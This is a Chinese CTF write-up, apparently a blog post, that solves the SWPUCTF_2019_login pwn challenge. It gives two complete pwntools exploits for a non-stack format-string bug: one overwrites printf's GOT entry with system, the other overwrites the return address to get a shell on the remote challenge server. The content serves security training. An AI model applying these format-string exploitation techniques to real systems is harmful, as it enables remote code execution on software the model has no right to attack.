BUU_SWPUCTF_2019_login非栈上格式化字符串

对于栈上的格式化字符串可以通过直接将对应地址写入栈中,然后利用三链对任意写入地址修改,非栈上也就是不能直接写入,利用格式化字符串一样可以修改,只是要麻烦一点

ELF分析

32位、2.27libc、got表可修改
在这里插入图片描述

题目分析

输入name

无限循环,直到输入wllmmllw,这里存在明显格式化字符串漏洞
在这里插入图片描述
这里s1是在bss段上,所以只能利用格式化字符串来把栈上写入got地址
在这里插入图片描述
利用ebp作为三链,先将printf_got表写入栈上,再修改printf_got内容为system,然后输入sh就可以get shell了
在这里插入图片描述

思路实现

因为要修改栈地址和got表,所以先泄露栈地址和libc地址

#泄露libc
pay = b'%15$p'
io.sendlineafter("Please input your password: ",pay)
io.recvuntil("This is the wrong password: 0x")
libc_start_call_main = int(io.recv(8),16)-241
print("libc_start_call_main-->",hex(libc_start_call_main))

#泄露栈地址
pay = b'%6$p'
io.sendlineafter("Try again!\n",pay)
io.recvuntil("This is the wrong password: ")
stack_adr = int(io.recvuntil(b'\n')[:-1],16)-0x28

然后在栈上写入printf_got地址,因为got表是0x804b开头,和我们所写入的name_adr地址开头一样,所以这里选择将上图存放‘aaaa’的0xcec4和0xced4结尾的栈地址修改为存放got表

printf_got = elf.got['printf']
printf_got_low4 = printf_got & 0xffff
printf_got_hig4 = (printf_got>>16)&0xffff
aim1 = (stack_adr&0xffff)+0x14   #5
aim2 = (stack_adr&0xffff)+0x24    #9

pay = b'%'+str(aim1).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(printf_got_low4).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)

pay = b'%'+str(aim2).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(printf_got_low4+2).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)

这之后栈:
(截图是多次gdb调试的,所以地址会有略微不同,看偏移位置就可以了)
在这里插入图片描述
然后就可以修改printf_got表内容了,注意!这里要一次性修改,不能分两次,因为还要执行printf("This is the wrong password: ");,所以分次修改会报错

打远程还有应该小细节,我用all-in-one下载的2.27是打不通的,libcsearcher以下结果选1才能打通,不要被_amd64迷惑了
在这里插入图片描述

完整EXP1

from pwn import *
from LibcSearcher import *
from time import sleep	
context(log_level='debug',os='linux',arch='i386')
pwnfile = './_SWPUCTF_2019_login'
io=process(pwnfile)
io=remote('node4.buuoj.cn',25049)
elf = ELF(pwnfile)	
def debug():
	gdb.attach(io)
	pause()
io.sendlineafter("Please input your name: ",b'aaaa')
#泄漏libc
pay = b'%15$p'
io.sendlineafter("Please input your password: ",pay)
io.recvuntil("This is the wrong password: 0x")
libc_start_call_main = int(io.recv(8),16)-241
print("libc_start_call_main-->",hex(libc_start_call_main))

libc = LibcSearcher('__libc_start_main',libc_start_call_main)
libc_base = libc_start_call_main - libc.dump('__libc_start_main')
print("libc_base-->",hex(libc_base))
sys_adr = libc_base + libc.dump('system')
printf_got = elf.got['printf']
sleep(0.5)
#泄露栈地址
pay = b'%6$p'
io.sendlineafter("Try again!\n",pay)
io.recvuntil("This is the wrong password: ")
stack_adr = int(io.recvuntil(b'\n')[:-1],16)-0x28
print("stack_adr-->",hex(stack_adr))
printf_got_low4 = printf_got & 0xffff
printf_got_hig4 = (printf_got>>16)&0xffff
aim1 = (stack_adr&0xffff)+0x14   #5
aim2 = (stack_adr&0xffff)+0x24    #9
print("printf_got-->",hex(printf_got))
print("printf_got_low4-->",hex(printf_got_low4))
print("printf_got_hig4-->",hex(printf_got_hig4))
print("aim1-->",hex(aim1))
print("aim2-->",hex(aim2))
#栈上写入printf_got及+2
pay = b'%'+str(aim1).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(printf_got_low4).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)
sleep(0.5)
pay = b'%'+str(aim2).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(printf_got_low4+2).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)
#debug()
sleep(0.5)
#一次性修改print_got
sys_low4 = sys_adr & 0xffff
sys_hig4 = (sys_adr>>16) & 0xffff
print("sys_adr-->",hex(sys_adr))
print("sys_low4-->",hex(sys_low4))
print("sys_hig4-->",hex(sys_hig4))

pay = b'%'+str(sys_low4).encode("utf-8")+b'c%5$hn'
pay += b'%'+str(sys_hig4-sys_low4).encode("utf-8")+b'c%9$hn'
print("pay-->",hex(len(pay)))
io.sendlineafter("Try again!\n",pay)

sleep(0.5)
io.sendlineafter("Try again!",b'cat flag')
io.interactive()

另一个思路

因为是32位,所以我们可以控制返回地址函数的参数,即可以修改返回地址为system,把参数修改为/bin/sh。
稍微观察一下栈,发现我们所输入的name刚好处于返回地址的第一个参数上,所以只要修改返回地址为system即可
这里是受这位师傅wp启发: 不想修电脑师傅的博客
在这里插入图片描述

注意!

1、返回地址没有用call的话,会把返回地址的下一个位置作为返回地址函数的返回地址
即ebp - system - system的返回地址(用不到,垃圾数据填充) - system的参数1
2、调试exp时,返回地址会是system+1,这里是因为远程堆栈不平衡

EXP2

from pwn import *
from LibcSearcher import *
from time import sleep	
context(log_level='debug',os='linux',arch='i386')
pwnfile = './_SWPUCTF_2019_login'
#io=process(pwnfile)
io=remote('node4.buuoj.cn',25063)
elf = ELF(pwnfile)	
def debug():
	gdb.attach(io)
	pause()
io.sendlineafter("Please input your name: ",b'/bin/sh\x00')

#泄漏libc
pay = b'%15$p'
io.sendlineafter("Please input your password: ",pay)
io.recvuntil("This is the wrong password: 0x")
libc_start_call_main = int(io.recv(8),16)-241
libc = LibcSearcher('__libc_start_main',libc_start_call_main)
libc_base = libc_start_call_main - libc.dump('__libc_start_main')
print("libc_base-->",hex(libc_base))
sys_adr = libc_base + libc.dump('system')
#sys_adr = elf.plt['system']

#泄漏栈地址
pay = b'%6$p'
io.sendlineafter("Try again!\n",pay)
io.recvuntil("This is the wrong password: ")
stack_adr = int(io.recvuntil(b'\n')[:-1],16)-0x28
print("stack_adr-->",hex(stack_adr))

#修改返回地址
re_adr = stack_adr + 0x1c
re_adr_low4 = re_adr & 0xffff
#对system切片
sys_adr = str(hex(sys_adr))
print("sys_adr-->",sys_adr)
b = int(sys_adr,16) & 0xff
print("b-->",hex(b))
pay = b'%'+str(re_adr_low4).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)

#这里远程用system+1,  %0刚好算一个字符
pay = b'%'+str(b).encode("utf-8")+b'c%10$hn'
#pay = b'%10$hn'
io.sendlineafter("Try again!\n",pay)

sys_adr = sys_adr[:-2]
a = int(sys_adr,16) & 0xff
print("sys_adr-->",sys_adr)
print("a-->",hex(a))
pay = b'%'+str(re_adr_low4+1).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(a).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)

sys_adr = sys_adr[:-2]
a = int(sys_adr,16) & 0xff
print("sys_adr-->",sys_adr)
print("a-->",hex(a))
pay = b'%'+str(re_adr_low4+2).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(a).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)

sys_adr = sys_adr[:-2]
a = int(sys_adr,16) & 0xff
print("sys_adr-->",sys_adr)
print("a-->",hex(a))
pay = b'%'+str(re_adr_low4+3).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(a).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)

#debug()
pay = b'wllmmllw'
io.sendlineafter("Try again!\n",pay)
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值